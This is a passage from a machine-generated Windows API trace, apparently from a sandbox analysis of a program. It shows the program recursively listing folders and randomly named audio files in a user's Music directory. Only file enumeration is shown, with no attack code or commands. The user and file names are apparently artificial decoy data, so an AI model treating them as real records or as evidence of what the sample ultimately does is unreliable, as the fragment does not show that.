ftLastWriteTime.dwHighDateTime=0x1d9abcd, nFileSizeHigh=0x0, nFileSizeLow=0xeb38, dwReserved0=0x0, dwReserved1=0x0, cFileName="kQMsVZ1QcumQdS1vJ6k1.m4a", cAlternateFileName="KQMSVZ~1.M4A")) returned 1 [0213.934] FindNextFileW (in: hFindFile=0x1d469ca0, lpFindFileData=0x1e1dd780 | out: lpFindFileData=0x1e1dd780*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xdf460670, ftCreationTime.dwHighDateTime=0x1d9afb5, ftLastAccessTime.dwLowDateTime=0xb36596d0, ftLastAccessTime.dwHighDateTime=0x1d9b490, ftLastWriteTime.dwLowDateTime=0xb36596d0, ftLastWriteTime.dwHighDateTime=0x1d9b490, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="RXkS", cAlternateFileName="")) returned 1 [0213.934] FindNextFileW (in: hFindFile=0x1d469ca0, lpFindFileData=0x1e1dd780 | out: lpFindFileData=0x1e1dd780*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb4b58d20, ftCreationTime.dwHighDateTime=0x1d9ac92, ftLastAccessTime.dwLowDateTime=0x6d803500, ftLastAccessTime.dwHighDateTime=0x1d9b0dd, ftLastWriteTime.dwLowDateTime=0x6d803500, ftLastWriteTime.dwHighDateTime=0x1d9b0dd, nFileSizeHigh=0x0, nFileSizeLow=0x15060, dwReserved0=0x0, dwReserved1=0x0, cFileName="SRQRl5hn1u.m4a", cAlternateFileName="SRQRL5~1.M4A")) returned 1 [0213.935] FindNextFileW (in: hFindFile=0x1d469ca0, lpFindFileData=0x1e1dd780 | out: lpFindFileData=0x1e1dd780*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1349b960, ftCreationTime.dwHighDateTime=0x1d9a630, ftLastAccessTime.dwLowDateTime=0xea2e5770, ftLastAccessTime.dwHighDateTime=0x1d9aaad, ftLastWriteTime.dwLowDateTime=0xea2e5770, ftLastWriteTime.dwHighDateTime=0x1d9aaad, nFileSizeHigh=0x0, nFileSizeLow=0x18596, dwReserved0=0x0, dwReserved1=0x0, cFileName="tEx iJVXCQP.wav", cAlternateFileName="TEXIJV~1.WAV")) returned 1 [0213.935] FindNextFileW (in: hFindFile=0x1d469ca0, lpFindFileData=0x1e1dd780 | out: lpFindFileData=0x1e1dd780*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x549ef020, ftCreationTime.dwHighDateTime=0x1d9b043, ftLastAccessTime.dwLowDateTime=0x590a5980, ftLastAccessTime.dwHighDateTime=0x1d9b154, ftLastWriteTime.dwLowDateTime=0x590a5980, ftLastWriteTime.dwHighDateTime=0x1d9b154, nFileSizeHigh=0x0, nFileSizeLow=0x1539, dwReserved0=0x0, dwReserved1=0x0, cFileName="UHO2EKoP4vONxHahp.mp3", cAlternateFileName="UHO2EK~1.MP3")) returned 1 [0213.935] FindNextFileW (in: hFindFile=0x1d469ca0, lpFindFileData=0x1e1dd780 | out: lpFindFileData=0x1e1dd780*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x549ef020, ftCreationTime.dwHighDateTime=0x1d9b043, ftLastAccessTime.dwLowDateTime=0x590a5980, ftLastAccessTime.dwHighDateTime=0x1d9b154, ftLastWriteTime.dwLowDateTime=0x590a5980, ftLastWriteTime.dwHighDateTime=0x1d9b154, nFileSizeHigh=0x0, nFileSizeLow=0x1539, dwReserved0=0x0, dwReserved1=0x0, cFileName="UHO2EKoP4vONxHahp.mp3", cAlternateFileName="UHO2EK~1.MP3")) returned 0 [0213.935] FindClose (in: hFindFile=0x1d469ca0 | out: hFindFile=0x1d469ca0) returned 1 [0213.935] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e1dd9e0) returned 1 [0213.935] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e1dd9a0) returned 1 [0213.935] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1e1dd2f0) returned 1 [0213.935] GetFullPathNameW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\Music\\ePQ4vF07ynd-Df\\1yjD\\3Q5TJkz", nBufferLength=0x105, lpBuffer=0x1e1dcdd0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\RDhJ0CNFevzX\\Music\\ePQ4vF07ynd-Df\\1yjD\\3Q5TJkz", lpFilePart=0x0) returned 0x37 [0213.936] FindFirstFileW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\Music\\ePQ4vF07ynd-Df\\1yjD\\3Q5TJkz\\*" (normalized: "c:\\users\\rdhj0cnfevzx\\music\\epq4vf07ynd-df\\1yjd\\3q5tjkz\\*"), lpFindFileData=0x1e1dd000 | out: lpFindFileData=0x1e1dd000*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x99f69b50, ftCreationTime.dwHighDateTime=0x1d9ae2c, ftLastAccessTime.dwLowDateTime=0xe6818aa0, ftLastAccessTime.dwHighDateTime=0x1d9af64, ftLastWriteTime.dwLowDateTime=0xe6818aa0, ftLastWriteTime.dwHighDateTime=0x1d9af64, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d469ca0 [0213.936] FindNextFileW (in: hFindFile=0x1d469ca0, lpFindFileData=0x1e1dcfc0 | out: lpFindFileData=0x1e1dcfc0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x99f69b50, ftCreationTime.dwHighDateTime=0x1d9ae2c, ftLastAccessTime.dwLowDateTime=0xe6818aa0, ftLastAccessTime.dwHighDateTime=0x1d9af64, ftLastWriteTime.dwLowDateTime=0xe6818aa0, ftLastWriteTime.dwHighDateTime=0x1d9af64, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0213.936] FindNextFileW (in: hFindFile=0x1d469ca0, lpFindFileData=0x1e1dcfc0 | out: lpFindFileData=0x1e1dcfc0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x650fff60, ftCreationTime.dwHighDateTime=0x1d9a50f, ftLastAccessTime.dwLowDateTime=0x20cd89b0, ftLastAccessTime.dwHighDateTime=0x1d9afb6, ftLastWriteTime.dwLowDateTime=0x20cd89b0, ftLastWriteTime.dwHighDateTime=0x1d9afb6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zppkKt8qAwLo", cAlternateFileName="ZPPKKT~1")) returned 1 [0213.936] FindNextFileW (in: hFindFile=0x1d469ca0, lpFindFileData=0x1e1dcfc0 | out: lpFindFileData=0x1e1dcfc0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x650fff60, ftCreationTime.dwHighDateTime=0x1d9a50f, ftLastAccessTime.dwLowDateTime=0x20cd89b0, ftLastAccessTime.dwHighDateTime=0x1d9afb6, ftLastWriteTime.dwLowDateTime=0x20cd89b0, ftLastWriteTime.dwHighDateTime=0x1d9afb6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zppkKt8qAwLo", cAlternateFileName="ZPPKKT~1")) returned 0 [0214.130] FindClose (in: hFindFile=0x1d469ca0 | out: hFindFile=0x1d469ca0) returned 1 [0214.130] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e1dd220) returned 1 [0214.130] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e1dd1e0) returned 1 [0214.130] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1e1dd2f0) returned 1 [0214.130] GetFullPathNameW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\Music\\ePQ4vF07ynd-Df\\1yjD\\3Q5TJkz", nBufferLength=0x105, lpBuffer=0x1e1dcdd0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\RDhJ0CNFevzX\\Music\\ePQ4vF07ynd-Df\\1yjD\\3Q5TJkz", lpFilePart=0x0) returned 0x37 [0214.130] FindFirstFileW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\Music\\ePQ4vF07ynd-Df\\1yjD\\3Q5TJkz\\*" (normalized: "c:\\users\\rdhj0cnfevzx\\music\\epq4vf07ynd-df\\1yjd\\3q5tjkz\\*"), lpFindFileData=0x1e1dd000 | out: lpFindFileData=0x1e1dd000*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x99f69b50, ftCreationTime.dwHighDateTime=0x1d9ae2c, ftLastAccessTime.dwLowDateTime=0xe6818aa0, ftLastAccessTime.dwHighDateTime=0x1d9af64, ftLastWriteTime.dwLowDateTime=0xe6818aa0, ftLastWriteTime.dwHighDateTime=0x1d9af64, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d469b80 [0214.131] FindNextFileW (in: hFindFile=0x1d469b80, lpFindFileData=0x1e1dcfc0 | out: lpFindFileData=0x1e1dcfc0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x99f69b50, ftCreationTime.dwHighDateTime=0x1d9ae2c, ftLastAccessTime.dwLowDateTime=0xe6818aa0, ftLastAccessTime.dwHighDateTime=0x1d9af64, ftLastWriteTime.dwLowDateTime=0xe6818aa0, ftLastWriteTime.dwHighDateTime=0x1d9af64, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0214.131] FindNextFileW (in: hFindFile=0x1d469b80, lpFindFileData=0x1e1dcfc0 | out: lpFindFileData=0x1e1dcfc0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x650fff60, ftCreationTime.dwHighDateTime=0x1d9a50f, ftLastAccessTime.dwLowDateTime=0x20cd89b0, ftLastAccessTime.dwHighDateTime=0x1d9afb6, ftLastWriteTime.dwLowDateTime=0x20cd89b0, ftLastWriteTime.dwHighDateTime=0x1d9afb6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zppkKt8qAwLo", cAlternateFileName="ZPPKKT~1")) returned 1 [0214.131] FindNextFileW (in: hFindFile=0x1d469b80, lpFindFileData=0x1e1dcfc0 | out: lpFindFileData=0x1e1dcfc0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0214.131] FindClose (in: hFindFile=0x1d469b80 | out: hFindFile=0x1d469b80) returned 1 [0214.131] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e1dd220) returned 1 [0214.131] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e1dd1e0) returned 1 [0214.132] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1e1dcb30) returned 1 [0214.132] GetFullPathNameW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\Music\\ePQ4vF07ynd-Df\\1yjD\\3Q5TJkz\\zppkKt8qAwLo", nBufferLength=0x105, lpBuffer=0x1e1dc610, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\RDhJ0CNFevzX\\Music\\ePQ4vF07ynd-Df\\1yjD\\3Q5TJkz\\zppkKt8qAwLo", lpFilePart=0x0) returned 0x44 [0214.132] FindFirstFileW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\Music\\ePQ4vF07ynd-Df\\1yjD\\3Q5TJkz\\zppkKt8qAwLo\\*" (normalized: "c:\\users\\rdhj0cnfevzx\\music\\epq4vf07ynd-df\\1yjd\\3q5tjkz\\zppkkt8qawlo\\*"), lpFindFileData=0x1e1dc840 | out: lpFindFileData=0x1e1dc840*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x650fff60, ftCreationTime.dwHighDateTime=0x1d9a50f, ftLastAccessTime.dwLowDateTime=0x20cd89b0, ftLastAccessTime.dwHighDateTime=0x1d9afb6, ftLastWriteTime.dwLowDateTime=0x20cd89b0, ftLastWriteTime.dwHighDateTime=0x1d9afb6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d469b80 [0214.132] FindNextFileW (in: hFindFile=0x1d469b80, lpFindFileData=0x1e1dc800 | out: lpFindFileData=0x1e1dc800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x650fff60, ftCreationTime.dwHighDateTime=0x1d9a50f, ftLastAccessTime.dwLowDateTime=0x20cd89b0, ftLastAccessTime.dwHighDateTime=0x1d9afb6, ftLastWriteTime.dwLowDateTime=0x20cd89b0, ftLastWriteTime.dwHighDateTime=0x1d9afb6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0214.132] FindNextFileW (in: hFindFile=0x1d469b80, lpFindFileData=0x1e1dc800 | out: lpFindFileData=0x1e1dc800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x41cc6df0, ftCreationTime.dwHighDateTime=0x1d9b337, ftLastAccessTime.dwLowDateTime=0x80e1fa70, ftLastAccessTime.dwHighDateTime=0x1d9b371, ftLastWriteTime.dwLowDateTime=0x80e1fa70, ftLastWriteTime.dwHighDateTime=0x1d9b371, nFileSizeHigh=0x0, nFileSizeLow=0x9932, dwReserved0=0x0, dwReserved1=0x0, cFileName="2SsOt7ndYWdGHFXPQpT.m4a", cAlternateFileName="2SSOT7~1.M4A")) returned 1 [0214.132] FindNextFileW (in: hFindFile=0x1d469b80, lpFindFileData=0x1e1dc800 | out: lpFindFileData=0x1e1dc800*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0214.133] FindClose (in: hFindFile=0x1d469b80 | out: hFindFile=0x1d469b80) returned 1 [0214.133] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e1dca60) returned 1 [0214.133] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e1dca20) returned 1 [0214.133] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1e1dcb30) returned 1 [0214.133] GetFullPathNameW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\Music\\ePQ4vF07ynd-Df\\1yjD\\3Q5TJkz\\zppkKt8qAwLo", nBufferLength=0x105, lpBuffer=0x1e1dc610, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\RDhJ0CNFevzX\\Music\\ePQ4vF07ynd-Df\\1yjD\\3Q5TJkz\\zppkKt8qAwLo", lpFilePart=0x0) returned 0x44 [0214.133] FindFirstFileW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\Music\\ePQ4vF07ynd-Df\\1yjD\\3Q5TJkz\\zppkKt8qAwLo\\*" (normalized: "c:\\users\\rdhj0cnfevzx\\music\\epq4vf07ynd-df\\1yjd\\3q5tjkz\\zppkkt8qawlo\\*"), lpFindFileData=0x1e1dc840 | out: lpFindFileData=0x1e1dc840*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x650fff60, ftCreationTime.dwHighDateTime=0x1d9a50f, ftLastAccessTime.dwLowDateTime=0x20cd89b0, ftLastAccessTime.dwHighDateTime=0x1d9afb6, ftLastWriteTime.dwLowDateTime=0x20cd89b0, ftLastWriteTime.dwHighDateTime=0x1d9afb6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d469b80 [0214.133] FindNextFileW (in: hFindFile=0x1d469b80, lpFindFileData=0x1e1dc800 | out: lpFindFileData=0x1e1dc800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x650fff60, ftCreationTime.dwHighDateTime=0x1d9a50f, ftLastAccessTime.dwLowDateTime=0x20cd89b0, ftLastAccessTime.dwHighDateTime=0x1d9afb6, ftLastWriteTime.dwLowDateTime=0x20cd89b0, ftLastWriteTime.dwHighDateTime=0x1d9afb6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0214.134] FindNextFileW (in: hFindFile=0x1d469b80, lpFindFileData=0x1e1dc800 | out: lpFindFileData=0x1e1dc800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x41cc6df0, ftCreationTime.dwHighDateTime=0x1d9b337, ftLastAccessTime.dwLowDateTime=0x80e1fa70, ftLastAccessTime.dwHighDateTime=0x1d9b371, ftLastWriteTime.dwLowDateTime=0x80e1fa70, ftLastWriteTime.dwHighDateTime=0x1d9b371, nFileSizeHigh=0x0, nFileSizeLow=0x9932, dwReserved0=0x0, dwReserved1=0x0, cFileName="2SsOt7ndYWdGHFXPQpT.m4a", cAlternateFileName="2SSOT7~1.M4A")) returned 1 [0214.134] FindNextFileW (in: hFindFile=0x1d469b80, lpFindFileData=0x1e1dc800 | out: lpFindFileData=0x1e1dc800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x41cc6df0, ftCreationTime.dwHighDateTime=0x1d9b337, ftLastAccessTime.dwLowDateTime=0x80e1fa70, ftLastAccessTime.dwHighDateTime=0x1d9b371, ftLastWriteTime.dwLowDateTime=0x80e1fa70, ftLastWriteTime.dwHighDateTime=0x1d9b371, nFileSizeHigh=0x0, nFileSizeLow=0x9932, dwReserved0=0x0, dwReserved1=0x0, cFileName="2SsOt7ndYWdGHFXPQpT.m4a", cAlternateFileName="2SSOT7~1.M4A")) returned 0 [0214.134] FindClose (in: hFindFile=0x1d469b80 | out: hFindFile=0x1d469b80) returned 1 [0214.134] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e1dca60) returned 1 [0214.134] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e1dca20) returned 1 [0214.134] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1e1dd2f0) returned 1 [0214.134] GetFullPathNameW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\Music\\ePQ4vF07ynd-Df\\1yjD\\RXkS", nBufferLength=0x105, lpBuffer=0x1e1dcdd0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\RDhJ0CNFevzX\\Music\\ePQ4vF07ynd-Df\\1yjD\\RXkS", lpFilePart=0x0) returned 0x34 [0214.134] FindFirstFileW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\Music\\ePQ4vF07ynd-Df\\1yjD\\RXkS\\*" (normalized: "c:\\users\\rdhj0cnfevzx\\music\\epq4vf07ynd-df\\1yjd\\rxks\\*"), lpFindFileData=0x1e1dd000 | out: lpFindFileData=0x1e1dd000*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xdf460670, ftCreationTime.dwHighDateTime=0x1d9afb5, ftLastAccessTime.dwLowDateTime=0xb36596d0, ftLastAccessTime.dwHighDateTime=0x1d9b490, ftLastWriteTime.dwLowDateTime=0xb36596d0, ftLastWriteTime.dwHighDateTime=0x1d9b490, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d469b80 [0214.135] FindNextFileW (in: hFindFile=0x1d469b80, lpFindFileData=0x1e1dcfc0 | out: lpFindFileData=0x1e1dcfc0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xdf460670, ftCreationTime.dwHighDateTime=0x1d9afb5, ftLastAccessTime.dwLowDateTime=0xb36596d0, ftLastAccessTime.dwHighDateTime=0x1d9b490, ftLastWriteTime.dwLowDateTime=0xb36596d0, ftLastWriteTime.dwHighDateTime=0x1d9b490, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0214.135] FindNextFileW (in: hFindFile=0x1d469b80, lpFindFileData=0x1e1dcfc0 | out: lpFindFileData=0x1e1dcfc0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9ded3dc0, ftCreationTime.dwHighDateTime=0x1d9a9f6, ftLastAccessTime.dwLowDateTime=0x4c569160, ftLastAccessTime.dwHighDateTime=0x1d9b0f8, ftLastWriteTime.dwLowDateTime=0x4c569160, ftLastWriteTime.dwHighDateTime=0x1d9b0f8, nFileSizeHigh=0x0, nFileSizeLow=0x10a3b, dwReserved0=0x0, dwReserved1=0x0, cFileName="4gq8LQRYy.m4a", cAlternateFileName="4GQ8LQ~1.M4A")) returned 1 [0214.135] FindNextFileW (in: hFindFile=0x1d469b80, lpFindFileData=0x1e1dcfc0 | out: lpFindFileData=0x1e1dcfc0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe349b9a0, ftCreationTime.dwHighDateTime=0x1d9ac6e, ftLastAccessTime.dwLowDateTime=0xdf8a5cc0, ftLastAccessTime.dwHighDateTime=0x1d9b105, ftLastWriteTime.dwLowDateTime=0xdf8a5cc0, ftLastWriteTime.dwHighDateTime=0x1d9b105, nFileSizeHigh=0x0, nFileSizeLow=0x84b6, dwReserved0=0x0, dwReserved1=0x0, cFileName="aFHChi0FagdG.mp3", cAlternateFileName="AFHCHI~1.MP3")) returned 1 [0214.136] FindNextFileW (in: hFindFile=0x1d469b80, lpFindFileData=0x1e1dcfc0 | out: lpFindFileData=0x1e1dcfc0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4ecccd80, ftCreationTime.dwHighDateTime=0x1d9b074, ftLastAccessTime.dwLowDateTime=0xae087f60, ftLastAccessTime.dwHighDateTime=0x1d9b40c, ftLastWriteTime.dwLowDateTime=0xae087f60, ftLastWriteTime.dwHighDateTime=0x1d9b40c, nFileSizeHigh=0x0, nFileSizeLow=0x9a5c, dwReserved0=0x0, dwReserved1=0x0, cFileName="b91F6lnl4VGdn_.wav", cAlternateFileName="B91F6L~1.WAV")) returned 1 [0214.136] FindNextFileW (in: hFindFile=0x1d469b80, lpFindFileData=0x1e1dcfc0 | out: lpFindFileData=0x1e1dcfc0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8d9ce620, ftCreationTime.dwHighDateTime=0x1d9a535, ftLastAccessTime.dwLowDateTime=0x4a5fe7f0, ftLastAccessTime.dwHighDateTime=0x1d9a999, ftLastWriteTime.dwLowDateTime=0x4a5fe7f0, ftLastWriteTime.dwHighDateTime=0x1d9a999, nFileSizeHigh=0x0, nFileSizeLow=0xba7e, dwReserved0=0x0, dwReserved1=0x0, cFileName="bqsFk nzZa3-K0oIrj.m4a", cAlternateFileName="BQSFKN~1.M4A")) returned 1 [0214.136] FindNextFileW (in: hFindFile=0x1d469b80, lpFindFileData=0x1e1dcfc0 | out: lpFindFileData=0x1e1dcfc0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x62bc3d80, ftCreationTime.dwHighDateTime=0x1d9ab74, ftLastAccessTime.dwLowDateTime=0xf249fd00, ftLastAccessTime.dwHighDateTime=0x1d9b4d1, ftLastWriteTime.dwLowDateTime=0xf249fd00, ftLastWriteTime.dwHighDateTime=0x1d9b4d1, nFileSizeHigh=0x0, nFileSizeLow=0xac65, dwReserved0=0x0, dwReserved1=0x0, cFileName="zFgme_m1u.mp3", cAlternateFileName="ZFGME_~1.MP3")) returned 1 [0214.136] FindNextFileW (in: hFindFile=0x1d469b80, lpFindFileData=0x1e1dcfc0 | out: lpFindFileData=0x1e1dcfc0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0214.136] FindClose (in: hFindFile=0x1d469b80 | out: hFindFile=0x1d469b80) returned 1 [0214.136] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e1dd220) returned 1 [0214.136] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e1dd1e0) returned 1 [0214.137] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1e1dd2f0) returned 1 [0214.137] GetFullPathNameW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\Music\\ePQ4vF07ynd-Df\\1yjD\\RXkS", nBufferLength=0x105, lpBuffer=0x1e1dcdd0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\RDhJ0CNFevzX\\Music\\ePQ4vF07ynd-Df\\1yjD\\RXkS", lpFilePart=0x0) returned 0x34 [0214.137] FindFirstFileW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\Music\\ePQ4vF07ynd-Df\\1yjD\\RXkS\\*" (normalized: "c:\\users\\rdhj0cnfevzx\\music\\epq4vf07ynd-df\\1yjd\\rxks\\*"), lpFindFileData=0x1e1dd000 | out: lpFindFileData=0x1e1dd000*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xdf460670, ftCreationTime.dwHighDateTime=0x1d9afb5, ftLastAccessTime.dwLowDateTime=0xb36596d0, ftLastAccessTime.dwHighDateTime=0x1d9b490, ftLastWriteTime.dwLowDateTime=0xb36596d0, ftLastWriteTime.dwHighDateTime=0x1d9b490, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d469b80 [0214.137] FindNextFileW (in: hFindFile=0x1d469b80, lpFindFileData=0x1e1dcfc0 | out: lpFindFileData=0x1e1dcfc0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xdf460670, ftCreationTime.dwHighDateTime=0x1d9afb5, ftLastAccessTime.dwLowDateTime=0xb36596d0, ftLastAccessTime.dwHighDateTime=0x1d9b490, ftLastWriteTime.dwLowDateTime=0xb36596d0, ftLastWriteTime.dwHighDateTime=0x1d9b490, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0214.137] FindNextFileW (in: hFindFile=0x1d469b80, lpFindFileData=0x1e1dcfc0 | out: lpFindFileData=0x1e1dcfc0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9ded3dc0, ftCreationTime.dwHighDateTime=0x1d9a9f6, ftLastAccessTime.dwLowDateTime=0x4c569160, ftLastAccessTime.dwHighDateTime=0x1d9b0f8, ftLastWriteTime.dwLowDateTime=0x4c569160, ftLastWriteTime.dwHighDateTime=0x1d9b0f8, nFileSizeHigh=0x0, nFileSizeLow=0x10a3b, dwReserved0=0x0, dwReserved1=0x0, cFileName="4gq8LQRYy.m4a", cAlternateFileName="4GQ8LQ~1.M4A")) returned 1 [0214.138] FindNextFileW (in: hFindFile=0x1d469b80, lpFindFileData=0x1e1dcfc0 | out: lpFindFileData=0x1e1dcfc0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe349b9a0, ftCreationTime.dwHighDateTime=0x1d9ac6e, ftLastAccessTime.dwLowDateTime=0xdf8a5cc0, ftLastAccessTime.dwHighDateTime=0x1d9b105, ftLastWriteTime.dwLowDateTime=0xdf8a5cc0, ftLastWriteTime.dwHighDateTime=0x1d9b105, nFileSizeHigh=0x0, nFileSizeLow=0x84b6, dwReserved0=0x0, dwReserved1=0x0, cFileName="aFHChi0FagdG.mp3", cAlternateFileName="AFHCHI~1.MP3")) returned 1 [0214.138] FindNextFileW (in: hFindFile=0x1d469b80, lpFindFileData=0x1e1dcfc0 | out: lpFindFileData=0x1e1dcfc0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4ecccd80, ftCreationTime.dwHighDateTime=0x1d9b074, ftLastAccessTime.dwLowDateTime=0xae087f60, ftLastAccessTime.dwHighDateTime=0x1d9b40c, ftLastWriteTime.dwLowDateTime=0xae087f60, ftLastWriteTime.dwHighDateTime=0x1d9b40c, nFileSizeHigh=0x0, nFileSizeLow=0x9a5c, dwReserved0=0x0, dwReserved1=0x0, cFileName="b91F6lnl4VGdn_.wav", cAlternateFileName="B91F6L~1.WAV")) returned 1 [0214.138] FindNextFileW (in: hFindFile=0x1d469b80, lpFindFileData=0x1e1dcfc0 | out: lpFindFileData=0x1e1dcfc0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8d9ce620, ftCreationTime.dwHighDateTime=0x1d9a535, ftLastAccessTime.dwLowDateTime=0x4a5fe7f0, ftLastAccessTime.dwHighDateTime=0x1d9a999, ftLastWriteTime.dwLowDateTime=0x4a5fe7f0, ftLastWriteTime.dwHighDateTime=0x1d9a999, nFileSizeHigh=0x0, nFileSizeLow=0xba7e, dwReserved0=0x0, dwReserved1=0x0, cFileName="bqsFk nzZa3-K0oIrj.m4a", cAlternateFileName="BQSFKN~1.M4A")) returned 1 [0214.138] FindNextFileW (in: hFindFile=0x1d469b80, lpFindFileData=0x1e1dcfc0 | out: lpFindFileData=0x1e1dcfc0*(dwFileAttributes=0x20, 